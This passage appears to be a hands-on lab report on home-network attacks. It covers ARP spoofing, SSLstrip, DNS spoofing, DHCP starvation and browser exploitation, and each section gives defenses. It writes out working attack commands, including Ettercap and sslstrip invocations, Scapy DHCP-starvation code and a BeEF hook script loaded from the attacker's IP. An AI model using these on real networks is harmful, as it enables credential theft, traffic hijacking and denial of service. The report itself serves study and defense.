- A number of tools that can be used for ARP spoofing based MITM attacks, but I used the GUI version of Ettercap on Kali Linux. To start the tool, I used “ettercap -G” to bring up Ettercap in the graphical user interface mode. I selected the “unified sniffing” mode on my “eth0” interface. I then ran an ARP scan to build a list of hosts connected to my network. I then selected “192.168.0.1”, the router, as “Target 1” and “192.168.0.190”, my Windows XP VM, as “Target 2.” I proceeded to start the MITM attack via ARP poisoning and enabled “sniff remote connections.” I then started sniffing to listen in on the traffic. To test this, I logged in to an insecure (non-HTTPS) website on the XP VM and the email and

password were recorded in Ettercap. Furthermore, when the “arp -a” command is run on the XP VM, the gateway’s IP shows the physical (MAC) address of the attacker’s. This attack is simple to run and very effective for an attacker. The attacker can sniff and monitor all traffic the victim is outputting that is not securely encrypted. Obtaining the MITM position is very helpful as it sets the stage for the attacker to perform other advanced attacks. Proper encryption is a great defense against this attack. When logging into a secure website like Paypal, the credentials were not found. A VPN is a way to encrypt all personal data. Even though the attacker was already between the gateway and the victim machine, as soon as I turned on the VPN, the information was secure. I logged into the previously unencrypted website, but Ettercap could not find the credentials this time. SSH tunneling can also be used to encrypt sensitive information. I tested SSH tunneling on the Kali machine and its information became secure as well. For ARP poisoning based attacks, an intrusion detection/prevention system should be to detect/stop the attack. A static ARP table, ARP spoofing detection software, or networking changes to the OS itself may also be used as defenses. Users should be using a VPN/SSH tunnel whenever they are not on a trusted network to protect their information. Administrators should monitor network traffic or use software to ensure MITM attacks are not taking place on their network. A man in the middle attack lets attackers maliciously take control of two devices and needs be avoided at all costs.

SSL Striping

- This is a tactical internal attack. I tested this attack against a Windows XP VM connected to a D-Link DIR-628 router. This attacks attempts to “strip” away a HTTPS connection so an attacker can intercept sensitive information in plain text. HTTPS is often used as a method to prevent traditional sniffing attacks as it uses encryption. However, HTTPS can often be “stripped” away if an attacker is in the MITM position. The SSLstrip tool will prevent the client’s browser from upgrading to HTTPS if the website only upgrades from HTTP and does not require HTTPS.
- I used Ettercap to perform the ARP based MITM attack and SSLstrip to strip away the SSL. I ran the command “ettercap -T -M ARP /192.168.0.1/ // output:” which used ettercap in text-only mode to perform ARP spoofing on the entire network (I target the router and all other devices) with extensive output. I then set up the HTTP traffic to redirect to port 8080 for SSLstrip to handle with the “iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080” command. I then ran the command “sslstrip -l 8080” to start SSLstrip on port 8080. To test this, I went to “facebook.com” and logged in as any user would. I received the output of:

  “2014-01-08 21:57:29,140 SECURE POST Data (www.facebook.com): lsd=AVr-yWcw&email=testemail%40gmail.com&pass=testpass&default_persistent=0&timezone=&lgnrnd=235716_AGf9&lgnjs=n&locale=en_U”

  when I logged into the website. SSLstrip was successful in locating the email used (testemail@gmail.com) along with the password (testpass). This type of data would usually be secure, but since SSLstrip was running and the test machine did not go to a link with “https://” exactly, the encryption played no role. I

also tried this on a financial institution's website and the attack worked. The attack was not successful on sites like “twitter.com” and “paypal.com” because they are using HTTP Strict Transport Security (HSTS), which was designed to prevent attacks like SSLstrip. This attack is useful to an attacker because he can obtain credentials on the vast majority of websites that do not enforce HSTS. Only sites where HSTS is used or where a direct link with “https://” is used are safe. Users should be aware of this attack and make sure they use a direct link with “https://” either through the address bar or through a bookmark. Users may also use techniques like VPN usage or SSH tunneling to prevent being placed in a MITM attack in the first place. Website administrators should enforce HSTS to make sure their users are safe from this attack. Users need to ensure their connection is properly encrypted before they unintentionally submit their credentials to an attacker.

DNS Spoofing

- This is a tactical internal attack. I tested this attack against a Windows XP VM and Windows 7 machine connected to a D-Link DIR-628 router. This attack attempts to trick a DNS name server to return an incorrect IP address for a domain, diverting network traffic to another computer. DNS servers are used to translate domain names into IP addresses and the results of DNS queries are often cached to improve speed. When the DNS server’s cache database receives false translation information and caches it, the server is poisoned and the domains may resolve to an incorrect IP address.

- I used “dnsspoof” and Metasploit in Kali Linux to perform the attack. The dnsspoof tool will redirect DNS queries to any IP address. I used the command “dnsspoof -f hostsfile.txt” which started DNS spoofing with the configuration file of “192.168.0.187 *” which directed all DNS requests to the 192.168.0.187 IP address. DNS spoofing is commonly used to redirect users to an exploit, so I used Metasploit to host a standard Java applet. I loaded a website with the domain and I was redirected to the attacker’s web server hosting the Java applet. Once I accepted the applet on the victim machine, the machine was compromised. I could also use an exploit thatrequired no user interaction, so anytime a victim with vulnerable software attempted to visit any website, they would be compromised. This attack could specify certain domains to launch more targeted attacks. This attack can also be used for minor information gathering purposes as it gives the names of domains users are trying to lookup. For defenses, I found only HTTP websites redirected. Websites with HTTPS simply said their site could not be reached. If a VPN is used before the attack is launched, the attack becomes ineffective. If a user tries to connect with a VPN while the attack is running, the VPN reports it is unable to connect. If a user disconnects from a VPN while the attack is running, the attack works immediately. The DNS cache must be cleared (“ipconfig /flushdns” in Windows) after the attack is finished or the user must wait until the cache expires. Secure DNS can be implemented to help prevent this attack. Users should make sure to use encryption like HTTPS and VPNs (as soon as they connect) to avoid this

attack. Organizations should properly configure secure DNS. Website owners should enforce SSL and network operators should be aware of DNS redirects. This attack can trick many users by redirecting them to malicious machines that could be used for exploitation or other purposes.

URL Monitoring

- This is an information gathering internal attack. I performed this attack against a Windows XP VM and a Windows 7 machine connected to a D-Link DIR-628 router. This tool attempts to monitor and record all unencrypted web traffic. Internet users regularly browse the web with websites using HTTP, an unencrypted protocol. If a user visits websites not using HTTPS, traffic can be sniffed in plain text. This information includes all of the URLs the user visits on insecure websites.
- I used the “urlsnarf” tool in Kali Linux to monitor the HTTP traffic. All required for the attack to start is the “urlsnarf” command- this is a very simple tool and lacks many options. Once the tool detects someone made a HTTP request, it shows the request information. This includes which internal IP made the request, the exact time it made the request, the URL requested (ex: GET http://use.typekit.net/ygw8rdf.js HTTP/1.1" - - "http://www.gamefaqs.com/), and the user agent of the machine which initated the request. Urlsnarf shows many different requests, not just simply the name of the website visited; it shows normal pages, image requests, requests for Javascript, requests for ad networks, etc. Although the tool itself is simple, the information provided is certainly

extensive and detailed. Even for simple webpages, like the Wikipedia entry for “dinosaur,” urlsnarf showed dozens of thorough requests. This type of information is very valuable to an attacker who cares about the details. The tool by itself could not capture passwords, with or without the attacking machine being in a MITM position. For defenses, HTTPS can lower the effectiveness of this attack; although in some cases, upon opening a web page with HTTPS, urlsnarf picked up a few requests. However, once HTTPS was clearly established, the tool could not pick up any more requests. When I used a VPN, urlsnarf found zero requests. SSH tunneling is another defense as it provides encryption, which is what defeats this attack. This attack is useful for attackers as it provides much information on web browsing clients. Users should ensure their communications are properly encrypted when using the web. Site operators should enforce HTTPS to limit this attack. This attack provides helpful information that an attacker could use for many different purposes, including further exploitation.

Image Sniffing

- This is an information gathering internal attack. I tested this attack against a Windows XP VM and Windows 7 machine connected to a D-Link DIR-628 router. This attack attempts to view the images the target is looking at in the web browser. Internet users visit websites using the unencrypted protocol, HTTP. Since this traffic is not encrypted, an attacker may view all of its contents. Images loaded from unencrypted sources are also susceptible to be viewed.
- I used the “driftnet” tool in Kali Linux to launch this attack. This is a relatively

simple tool with only the “driftnet” command typically necessary. The command brings up another window that shows what pictures the other devices are viewing. I load up a website and it shows the images are on the website in the windows in Kali. I found it is a little finicky and does not work perfectly all the time. Sometimes it does not load any images, sometimes it loads some, and sometimes it loads far more than expected. It generally works well enough, but its results can vary. It also does not work on encrypted traffic, such as that using SSL, a VPN, SSH tunneling, etc. It displays the images nicely in the window and they can be saved for later viewing. There also appears to be an option for listening to streamed audio, but I did not test that feature. This attack can be used as a reconnaissance tool for additional attacks or can be used directly if snooping on images is a main objective for the attacker. The simple defense against this attack is to use encryption. If the website visited is using HTTPS, if a VPN is used, or if SSH tunneling is used, then the images cannot be viewed. Network managers should be aware of new devices on their network performing this attack. Although not always perfect, this attack can provide valuable intelligence to an attacker who wishes to gather more information about human targets or their habits.

Packet Sniffing

- This is an information gathering internal attack. I ran this attack against a Windows XP VM and a Windows 7 machine connected to a D-Link DIR-628 router. This attack attempts to capture every packet on the network, often to

understand network topography or usage or to view unencrypted information for an attacker. Packet analyzers are used to record all the packets in a network. Due to the scope of information collected, this attack is the most detailed information gathering tool. In typical wireless networks, an attacker can obtain all traffic in the network by putting his network interface card in promiscuous mode. This can capture sensitive information from unencrypted sources. Packet analyzers are crucial to recognize what is going on in the network.

- I used Wireshark in a Kali Linux VM against a Windows XP VM and Windows 7 machine. Wireshark includes a GUI interface that can be easily started with the “wireshark” command. I then selected my interface (eth0) and began sniffing on my network. Packets immediately come up color coordinated depending on the protocol. The packet number, the time the packet was recorded since the start, the source IP address (or hostname), the destination IP address (or hostname), the protocol, the length, and the information are shown in the main view. There are also three to six more general fields at the bottom and each of those usually expand even further for detailed packet analysis. A filter can be set at the top for criteria like including or excluding IP address, protocols, and protocol details. The attack works wonderfully and an attacker can see every packet sent and received by every IP address in the network. Wireshark shows TCP handshakes, ARP replies and requests, DNS queries, UDP packets, and more in real time. It is possible to see sensitive information on unencrypted protocols. I used Kali to connect to the Windows XP VM via the insecure Telnet protocol. When I typed

anything, I immediately saw the packet of the character in plain text. It was trivial to find out what command the user was attempting to type. I thus managed to find out the username and password used during login. It is possible to see what websites are visited with the unencrypted HTTP protocol. When secure protocols such as SSH and HTTPS are used, sensitive information is not exposed. When I turned on a VPN to encrypted communications, the normally unencrypted protocol of HTTP was secured. Wireshark lists “OpenVPN” as the protocol and does not even show I was using HTTP to browse a website. There is an incredible amount of information to be gathered from this attack. This is the most useful and safe information gathering tool. It merely captures all the possible information going through a network in the background. It is the most versatile technique and many different tools support the packet file it outputs. This attack is usually much more difficult to detect unless one is looking for it. If the device is using promiscuous mode to capture all traffic, it is possible to determine if the device is likely sniffing. There is an nmap script for it that can help determine if it is likely running a sniffer. I used the command “nmap -sV --script sniffer-detect 192.168.0.187” and it successfully determined Kali was using Wireshark in promiscuous mode. It is rare to look for devices running packet analyzers in promiscous mode, however. Users should use a VPN or some sort of encryption when they fear their network traffic is being monitored or recorded. Network owners should be wary of unknown new devices that do not seem to fit in. Suspicious devices that have little normal network activity can be investigated

further to ensure it is not a passive monitoring device collecting all the network traffic. This incredibly valuable attack provides the most detailed network information possible and the attacker can spend large resources analyzing the content of network traffic.

Network Scanning

- This is an information gathering internal attack. I ran this attack against a number of typical client type devices, such as computers, smartphones, and tablets connected to a D-Link DIR-628 router. This attack attempts to find open ports and other information about a target. The devices and machines used every day often give out useful information to an attacker even if they are just connected to a network on standby. It is often times possible to identify the manufacturer of the device, what services the device is running, what operating system is used, and more depending on the type of device and services used. Any information gathered here can help the attacker discover what machines are in use and what exploits may be appropriate.
- I used the GUI version of nmap 6.40, zenmap, in Kali Linux to showcase the simplicity of this attack. I ran the command “nmap -p 1-65535 -T4 -A -v 192.168.x.xxx” which scans every possible TCP port with an aggressive timing templete and aggressive options (OS detection, service scanning, traceroute, and default NSE scripts) while showing verbose output on the IP 192.168.0.xxx. The scans usually took around five to ten minutes per device. On the

smartphones and tablets, there did not appear to be much information of value. On two Android devices, all TCP ports were closed; the only information to be gained was the MAC address, which reveals the manufacturer of the device. This attack only ran a simple scan and did not cover UDP or any advanced NSE scripts, so there could be more information to be gathered if the attacker spent more time. On an iOS device, a random open port could be found which enabled nmap to correctly identify the device as running iOS 4.x. This OS detection could help an attacker better identify which attacks or exploits to run; an NSE script or additional manual testing might indicate the purpose of that open port. On a Windows XP laptop, the scan identified some common open Windows ports and correctly recognized the operating system as Windows XP, but all of the other ports were closed. Since Samba was turned on, the computer name and workstation could be determined; again, further NSE scripts and testing could find more information and a possible attack vector. On a Windows XP VM, a couple open and closed ports were identified, as well as the correct operating system; however, without more testing, not much could be gained from the default scan. On a Windows 7 laptop, a number of open ports were found and the rest were filtered. Some of these provided what services were running, including Skype, Splashtop (a remote desktop solution), and µTorrent (a popular BitTorrent client). Since the MAC address was spoofed, the manufacturer could not be determined. Without at least one open and closed port, the OS detection had a harder time. It did, however, detect the laptop was running Windows, either

Vista or 7. On the router, a number of ports were found which found the model number of the router and which services it supports. Some NSE scripts can even identify whether or not there is a vulnerability or backdoor in the router, which would allow the attacker complete control over the network. On an intentionally vulnerable Linux VM, an amazing amount of information was collected. Although 31 open ports with well over a dozen services running is far from common, this VM demonstrates the potential of this attack. This attack is a valuable tool to an attacker. It can discover all of the devices connected to a network and scan them for ports, services, vulnerabilities and more. With NSE scripts, an attacker can uncover a wealth of information about all of the devices available to target. To defend some of nmap, the users should firewall their computers to only allow services necessary. If FTP, SSH, Telnet, or another service is no longer needed, it should be turned off to avoid it being used as an intelligence mechanism or attack vector. Although nmap has some advanced ways around them, intrusion detection or prevention systems can be helpful in limiting the attacker's reconnaissance capabilities, alerting the user of scan attempts, and preventing valuable information from reaching the attacker. For general consumers, advanced antivirus software will sometimes include a feature that will alert them if a network scan is detected. Although some devices may take more resources to uncover, this attack is great for initial information gathering. Users should employ these defenses and be wary of suspicious actors to secure their systems from this popular information gathering attack.

Vulnerability Scanning

- This is an information gathering internal attack. I tested this attack against various devices and virtual machines connected to a D-Link DIR-628 router. This attack attempts to uncover vulnerabilities an attacker can exploit. Most of the time, all of the software on a machine or device is not the latest version. Software developers often push out security patches to fix any vulnerabilities reported to them. Without these security patches in place, an attacker may be able to create or use an exploit to break into, or cause distribution to, a machine or device. Some of these exploits would allow an attacker to gain remote access to a machine, reveal sensitive information, cause a denial of service, steal credentials, and more. Vulnerable applications actively running as a service are the most crucial to protect since they are the easiest to attack.
- I used the Nexpose community edition vulnerability scanner on a Windows 7 machine to run the attack. I inserted all of these devices, called assets, into one site. I ran a full audit on every device in the network; the scan duration ranged from 17 seconds to 7 minutes. On the Android tablet and smartphone, very little information was gathered. The scan did not reveal any useful information and thus only took 17 seconds. On a Windows XP VM, the Windows operating system was found correctly, but it did not identify which version of Windows it was running. It found the system was running Telnet and considered that a vulnerability since Telnet is an unencrypted protocol by default. This found vulnerability would tell an attacker they could sniff the encrypted traffic for

valuable information, such as credentials, but it is already well known the Telnet service is unencrypted. A couple private vulnerabilities, meaning there are no public exploits, and one networking misconfiguration were found on a Windows 7 laptop, though these could never be found normally as this laptop itself ran the scan and thus had full access to the machine. Even the vulnerabilities found were of little value to an attacker. On a Linux VM, the scan noted the FTP server did not support the “AUTH” command, the correct OS (though it was vague on the version), and a few other insignificant possible networking flaws. While it is common knowledge FTP is not secure by default, this vulnerability information is useful as, it is now known it is not possible to secure the connection to the server. This will guarantee the attacker will obtain clear text information if someone initiates a connection to the server. On the router, the scan revealed a few networking and cryptographic vulnerabilities. These vulnerabilities were predictable though and would not provide significant or heavily valuable information. It did guess the correct router model number, but the correct model was listed among seven other similar models. On the vulnerable Linux VM, the scan identified 288 vulnerabilities, although many were similar to each other and were caused due to outdated programs. The scan identified many different remote code execution and denial of service exploits, weak passwords, and significant misconfigurations. While this is an extreme example, there are devices which have similar, although not nearly as many, vulnerabilities. This scan would be highly useful to an attacker as the scan identifying this machine could be

remotely compromised. This machine might also be used to help compromise other machines across a network. Even though it may not always find interesting vulnerabilities, this attack is still helpful to an attacker. This attack tells an attacker which machines he should be spending time targeting. These scans are also fairly reliable in distinguishing whether or not a vulnerability previously found by an attacker truly exists. An attacker may be wary in running this attack in sensitive environments, as this is an aggressive, or loud, attack, and it shows what options the attacker has. Some countermeasures including firewalling off everything but what is necessary, deploying and monitoring an IDS/IPS, keeping software update to date, and ensuring the machines undergo proper configuration. For actual exploitation, system hardening, antivirus, and exploit mitigation tools like EMET are helpful for preventing or reducing the effects of an exploit. Administrators and users should monitor network traffic, apply security patches, and use secure configurations to protect their systems from potential attack via information found by a vulnerability scanner.

DHCP Starvation

- This is an aggressive internal attack. I tested this attack against two Android 4.3 devices connected to a D-Link DIR-628 router. This attack exhausts the entire address space DHCP servers can use, allowing for a denial of service or simple MITM. Most local area networks use DHCP servers as a means of allocating IP addresses to new computers. This method of assigning IP addresses does not require a network administrator to assign them manually. By itself, the DHCP

protocol does not include any authentication measures. This allows a malicious DHCP client to launch an exhaustion attack that takes up all the available IP addresses which would normally go to legitimate clients. This will cause a denial of service since all the IP addresses are taken up or a MITM attack if the attacker chooses to start his own rogue DHCP server.

- I used a Kali Linux VM with the packet manipulation tool to launch the attack.

  Once in Scapy, I set up some parameters with the following commands:

  p1 = Ether()
  p2 = IP()
  p3 = UDP()
  p4 = BOOTP()
  p5 = DHCP()
  For Ether():
  p1.src=RandMAC()
  p1.dst="ff:ff:ff:ff:ff:ff"
  This will set the source MAC address to something random, which is necessary, and the destination MAC address to the broadcast MAC address.
  For IP():
  p2.src="0.0.0.0"
  p2.dst="255.255.255.255"
  This sets the source IP to “0.0.0.0” and the destination IP to “255.255.255.255” since this works on all networks.
  For UDP():
  p3.sport=68
  p3.dport=67
  This sets the UDP source port of 68 (BOOTPC) and the UDP destination port of 67 (BOOTPS).
  For BOOTP():
  p4.chaddr=RandString(12,"abcdef0123456789")
  This protocol has been replaced by DHCP, but was included anyway.
  For DHCP():
  p5.options=[("message-type","discover"),"end"]
  This sets the options for the DHCP discover frame.

I tested this by running the packet sniffer “tcpdump” in another window with the command “tcpdump -n -e -i eth0 port 68” to sniff without converting ports and IPs to names, putting each MAC address on a new line, with interface “eth0”, on port 68.

Running the command “send=sendp(p1/p2/p3/p4/p5)” in Scapy shows a DHCP request and reply in tcpdump- this confirms it is working. I run the command “send=sendp(p1/p2/p3/p4/p5,loop=1)” to run the DHCP starvation attack continuously. To make my machine the DHCP server, I installed, configured, and started the UDHCPD server. I then started the DNS server with the ettercap command “ettercap -Tq -P dns_spoof” in quiet, text-only mode using the DNS spoof plugin. I now am the DHCP server with DNS, so I am now in the MITM position since I control the traffic. I started SSLStrip with the typical IP forwarding and IPTables setup, but I could not capture logins for some reason with that or dsniff. In any case, I have blocked the network for all devices and any new devices. Once I ran the attack, the device still on the network had no connectivity and any new device trying to join could not obtain an IP, so it got kicked out. This is a very useful attack and can cause outages so long as the attacker is in the network and defenses are not used. Defenses do not seem to be as simple or common as the more widespread ARP poisoning attack, but some switches from vendors like Cisco or Juniper have a DHCP snooping feature that can help mitigate this attack. This less common, but still very practical, attack can be used

to launch a denial of service attack on the vast majority of networks or as a way to control traffic by inserting a personal DHCP server that can easily lead to severe consequences.

IPv6 Denial of Service

- This is an aggressive internal attack. I tested this attack against a 4th generation iPad with iOS 7, an iPhone 4 with iOS 6, a variety of Android phones and a tablet, the host Windows 7 machine, a Windows XP VM and physical computer, and two more physical Windows 7 machines connected to a D-Link DIR-628 router. The attack tries to overload the target machines with IPv6 flood advertisements to make the CPU usage so high the device or machine becomes unresponsive and possibly requires a reboot. IPv6 is the latest version of the internet protocol and was created as the number of available IPv4 addresses diminished. There exist a number of IPv6 vulnerabilities, however, that can be exploited on devices in networks which support the protocol. Some machines may be overloaded by the number of IPv6 requests that take up much CPU usage to process so they crash or become slow to respond.
- I used Kali Linux in a VM and the THC IPv6 tools to test this attack. I used the command ‘flood_router26 eth0” to launch the denial of service attack on all devices on the network interface “eth0”. I ran the attack on the Windows XP physical machine, but the attack was unsuccessful because Windows XP does not have IPv6 enabled by default and I was unable to test it with IPv6 manually enabled. I tested the Windows XP VM with IPv6 enabled, but the attack still did

not cause the CPU usage to rise at all. The attack also did not work on the mobile devices, such as the iPad, iPhone, and Android phones/tablet. Although each device was monitored with a CPU usage application, I found no correlation between the attack and the CPU usage on those devices. When I ran the attack on the Windows 7 machines connected via ethernet one time and Wi-Fi another, I noticed the CPU usage seemed to spike up, even to 100%, but it quickly went back down to normal usage and ultimately had little, if any, effect. I noticed the IPv6 attack is going through as least partially because it when I check “ipconfig”, I saw all of the new IPv6 addresses on the targeted machines. I have a host Windows 7 physical machine running Kali Linux as a virtual machine and nearly every time I ran the attacks on Kali, the attack and CPU usage had a strong correlation. The CPU usage would usually go up, but the results of the attack varied. Sometimes it would have little effect, other times it would add overall noticeable lag, sometimes it would cause audio playing on the machine to be interrupted every few seconds while other times it would not, and sometimes it temporarily froze the machine until I could stop the attack. This shows the attack is working in some way, but I still cannot figure out why it did not work on the other Windows 7 machines as it does with the host machine. I expected this attack to work more reliably as I saw videos displaying the attack with very successful results on Windows 7, Android, and iOS machines. I also ran a script which sends router advertisements before the main attack, but that did not seem to have any impact. Perhaps the attack works only in the setup that researcher

was in, perhaps software updates or some other setting in the machines fixed or blocked the attack, perhaps there is an experimentation misconfiguration on my part, perhaps the devices are powerful enough not to completely fall to the attack, or perhaps the network was not set up correctly for this attack. I would guess there is some network or setting configuration error somewhere in my part, but even if that was true, I could not say what error it could possibly be. I am confident this attack has potential and is possible, due to video evidence and the correlation between the attack and the CPU usage on the host machine. Unfortunately, the attack did not turn out as planned and produced little actual results. Countermeasures to this attack would be to disable IPv6 or configure network devices/policies to stop the attack. RA guard was an attempt at this, but it seems easily defeatable. However, I still believe this remains a viable attack vector if one can get it to work on certain environments.

Code Injection

- This is an aggressive internal attack. I tested this attack against a Windows XP VM connected to a D-Link DIR-628 router. This attack attempts to inject custom scripts into visited websites. Once in the man in the middle position an attacker can modify the traffic of the target. One such way of modifying traffic is to insert custom Javascript into visited websites. This Javascript code injection attack secretly inserts malicious code which can be used for a variety of reasons.
- I used dSploit, a penetration testing application on Android, to perform the MITM and Javascript code injection attack. Once I scanned the devices on the network,

dSploit performed an ARP spoofing attack to become the MITM for the target. I selected the target and injected a simple alert Javascript script of “<script type=”text/javascript”>alert(‘This site has been hacked with dSploit!’);</script>”. Whenever I loaded a website on the Windows XP machine, an alert popped up with the message: “This site has been hacked with dSploit!”. I decided to use this code injection capability for purposes more malicious. I started the Browser Exploitation Framework Project (BeEF) on Kali with Metasploit plugin integration. The tool creates a link to a Javascript script used to “hook” browsers to the tool. To load the script on the target machine, I changed the code injection script to “<script src="http://192.168.0.187:3000/hook.js"></script>”, which loaded the hooking script necessary. When I loaded a webpage on the Windows XP VM, the browser was hooked to the toolkit in my Kali VM. The tool’s control panel shows an incredible amount of information on the hooked browser. The Javascript code loaded pushes Javascript to its limits and has very useful information for an attacker. There are hundreds of modules and exploits to load once the browser is hooked. Defenses against this attack include the basic ones against MITM type attacks. This attack requires a MITM position in order in inject code, so using a VPN or SSH tunneling will prevent this. Using only HTTPS should also prevent this, but HTTP can never be used as it creates an opportunity for attack. The page source can also be checked to see what script is being loaded. This should be checked in case there is normally unoccurring suspicious activity. These types of code injection attacks can occur silently in the background, so they are often

difficult to detect unless they make themselves known. Code injection types are among the most dangerous as they can silently lead to complete browser, or even system, control with tools like BeEF.

Browser Exploitation

- This is an aggressive internal attack. I tested test attack against a Windows XP VM and a Windows 7 machine connected to a D-Link DIR-628 router. This attack attempts to compromise the browser or system. The most commonly used application for computers is the web browser. It is used every day by many to navigate around websites, click on all sorts of links, and download different types of files. The reality is a large amount of internet users are compromised every day, often to no knowledge of them. Their computers are usually used to participate in botnets which send spam, launch distributed denial of service attacks, perform large scale brute force attacks, and much more. These users are compromised because they are running insecure browser versions, outdated plugins (typically Java), or download and run a malicious file.
- I used Browser Exploitation Framework Project (BeEF), Social Engineer Toolkit (SET), and Metasploit with code injection help from dSploit. I used Javascript code injection with dSploit to hook a browser to BeEF. I am now in control of the browser and have Metasploit browser exploits to use against the browser. I selected an old Internet Explorer exploit to launch against the target browser. I ran the exploit with a Meterpreter payload and within a few seconds, I obtained a shell on the Windows XP VM. I used a simple “getsystem” command to escalate

privileges and I gained full SYSTEM privileges. I also used SET to load up a Java applet attack. I made SET run a web server on the Kali VM that hosted the Java applet but disguised the webpage so it looked like google.com was requesting the user to click on the Java applet. I tested the attack on my Windows 7 machine and when I accepted the Java applet, the system was compromised. I also used Metasploit directly and I had the same results. The best defense is to keep software up to date by applying the latest security patches. These make sure the browser is secure against most attacks. This does not apply to attackers who have zero days in their arsenal. The Enhanced Mitigation Experience Toolkit can also help prevent most exploits, as attackers must bypass additional security barriers. Users can also avoid clicking on suspicious links that may contain browser exploits. Traditional defenses against MITM attacks like using a VPN can prevent code injection, which could lead to easy browser exploitation. Browser based exploitation can lead to control over the browser or system, where an attacker can do anything he pleases.

Discussion

These wireless and network based attacks remain an ever present threat in networks and systems today. Despite the fact these attacks were available for a long time, they still remain incredibly effective in most environments. Although most of these attacks could have been ineffective or had their effects lessened on default installations, it appears security is often an afterthought for most manufactures and large technology companies. Instead, third party software and resources must typically be used to defend

networks and systems while average consumers are at a lost while they are exploited daily. All of the attacks provide a purpose and can sometimes assist another, making it very difficult to defend oneself from a determined attacker. New attacks are always in development and can be used privately or released publicly at any moment. As powerful hardware becomes smaller, the devices utilising these attacks can be easily hidden or poorly recognized.

Without a detailed forensic investigation, it is usually difficult to appropriately determine the attacker's goal. Some attacks, usually a denial of service, are relatively simple to decipher, but more advanced threats can be vague in uncovering the attacker's motive. Does he wish to break into the internal network with a weak password in a WPA2 implementation? If so, what does he wish to do inside? Does he want to find what websites are commonly used for a watering hole attack, compromise the web server and use it to host malicious content, access the internet for personal usage, steal the confidential documents on the engineer's desktop, or find out the quarterly report before its released to gain an advantage in the stock market? All of these scenarios are possible and the tools and techniques to complete these goals are out for public consumption. If played out, each of these situations would be devastating, and would require an enormous amount of time, money, and resources to rectify the problem. These could also cause the company in question to lose a competitive advantage or be responsible for a public relations nightmare if the incident involves their customers in any way. One of the scariest aspects regarding advanced attacks is an attacker can cloak or misguide his true intentions.

Most organizations introduce services or systems unnecessary for their operations. Every new service, device, or system is a new attack vector for an attacker to exploit. It becomes impossible to fully protect every element one manages all the time. Wireless access devices and company devices hold sensitive information and are subject to wireless and network focused attacks. There will be somewhere WPS is not turned off, the default password is not changed, the employee connects to an evil access point, or the contractor is subject to a man in the middle attack. Unfortunately, despite best practices, one attack will slip through the cracks.

As with every attack type, there exist pros and cons. One positive aspect includes the abundance of devices vulnerable to these attacks by default. Vendors do not seem to care about these issues and consumers must add defenses themselves. Human ignorance regarding computer security is a mindset that favors the attacker. The population is not only generally uneducated about the specifics of these attacks, but also not often willing to perform the steps required to secure themselves. They will use “12345678” as their password for their home router, connect to that evil twin, and not use a VPN when on their favorite coffee shop’s network. Those who genuinely care enough about security to actively employ strong security practices, or are security practitioners, will have a decent chance at remaining safe. One can no longer assume they are safe because they do not believe they are a target. Attacks against larger targets frequently initially compromise those involved in the supply chain or those working as a contractor. The victims of botnet operators are just part of a number, as the victim’s machine is only one of many. The ease of these attacks is also a strong

strength. All of the tools used are publicly available and there are many resources that guide the process of running the attacks in common environments. Some of the guides are so simple even non-technical users, or those who do not have a full understanding of the attack, are able to complete these attacks. It is even possible for an individual to copy and paste commands in a guide every time they run the attack without once understanding what is going on, while they still reap the benefits. The hardware for some of the external attacks is inexpensive, as another positive attribute. The basic hardware needed only costs around $20 to $30 and can be easily purchased online. The Wi-Fi Pineapple, which is able to perform nearly all of the attacks described, only costs $100 and is simple to use. Batteries and cases are also available for low prices and would allow the attacker to be mobile and discreet. Long-range panels or antennas grant the attacker the capability to attack from a much further distance. One disadvantage to using wireless based attacks is the attacker must be within a certain geographic range- wireless attacks cannot be launched through the public internet. The range, however, can be extended greatly with extended range panels and antennas. An attacker still almost certainly must be in the same city, at the very least, of the target. With the internal based attacks, if an attacker compromises the internal network of an organization, then he is able to run those attacks from anywhere in the world. It is also important to note that wireless networks tend to be live and dynamic, especially in popular environments. This could cause some reliability issues with the attacks, something less of an issue in static environments. These attacks tend to work through effective attack vectors, so strong strengths are expected.

Numerous improvements and additional testing or experimentation that could be made to this project. Generally, “more” testing could have been done. Testing against various environments and scenarios is an example. Although there exists an essentially limitless amount of scenarios and environments, research into different categories of scenarios and environments or determining which are some of the most common could have been conducted to see if the attacks and countermeasures would differ. Perhaps most noticeably, there was a strong lack of testing in non-consumer or personal based scenarios or environments. There exist numerous other situations in corporate, government, and academic fields that could have been studied and tested. These areas have their own unique issues and challenges that have to be addressed that differ from consumer based ones. Since security is of higher priority in these environments than consumer or personal focused ones, attacks would likely have to be modified or better targeted to bypass or evade various countermeasures in place. The attacks themselves could have been launched on different devices or platforms or with the aid of various equipment. It would be interesting to note the flexibility of the attacks on different operating systems and devices such as smartphones, notebooks, tablets, or desktops. One could observe if there exists any reduction of quality, form, or function of an attack when used on anything but the ideal platform or device. The tools running these attacks are open source, which aids in porting them to different platforms and devices, but they tend to be more commonly used and developed on open platforms like Linux and Android rather than more closed ones such as Windows or iOS. For basically all of the tools, a modern, non-mobile Linux distribution is the ideal platform. One designed

specifically for penetration testing, such as Kali Linux, would likely even be more preferable. There also exist many different WNICs that support monitor mode and long-range antennas or panels which could have been tested. Determining the available range one could get with the assistance from additional hardware would be a worthwhile test. This equipment could be tested in different physical environments, such as urban and rural, to observe how external factors like buildings and trees affect signal strength and thus the reliability of attacks. Scenarios like attempting to crack into a wireless network in an office building from a neighboring one or sniffing the traffic of a local coffee shop from down the road could have also been tested. Though it is virtually impossible to test all attacks against all available devices or platforms, more testing could have been performed against popular ones or ones of different key categories. This could involve determining the most popular general categories like routers, smartphones, tablets, laptops, switches, game consoles, etc. and testing the attacks against the most common operating systems and devices in those categories. This could produce relatively reliable information in a certain environment. The highest likelihood environments could also be tested to obtain even more applicable data. In network and wireless security, there exist many different attacks. This project could have included additional attacks against 802.11 or other similar wireless protocols. There are several other protocols used more commonly in enterprise environments that could have been looked at and tested against. Inside the network, other or more advanced MITM attacks could have been tested. ARP poisoning based DoS, downgrading SSH, replicating malicious update processes, the IPv6 MITM SLAAC

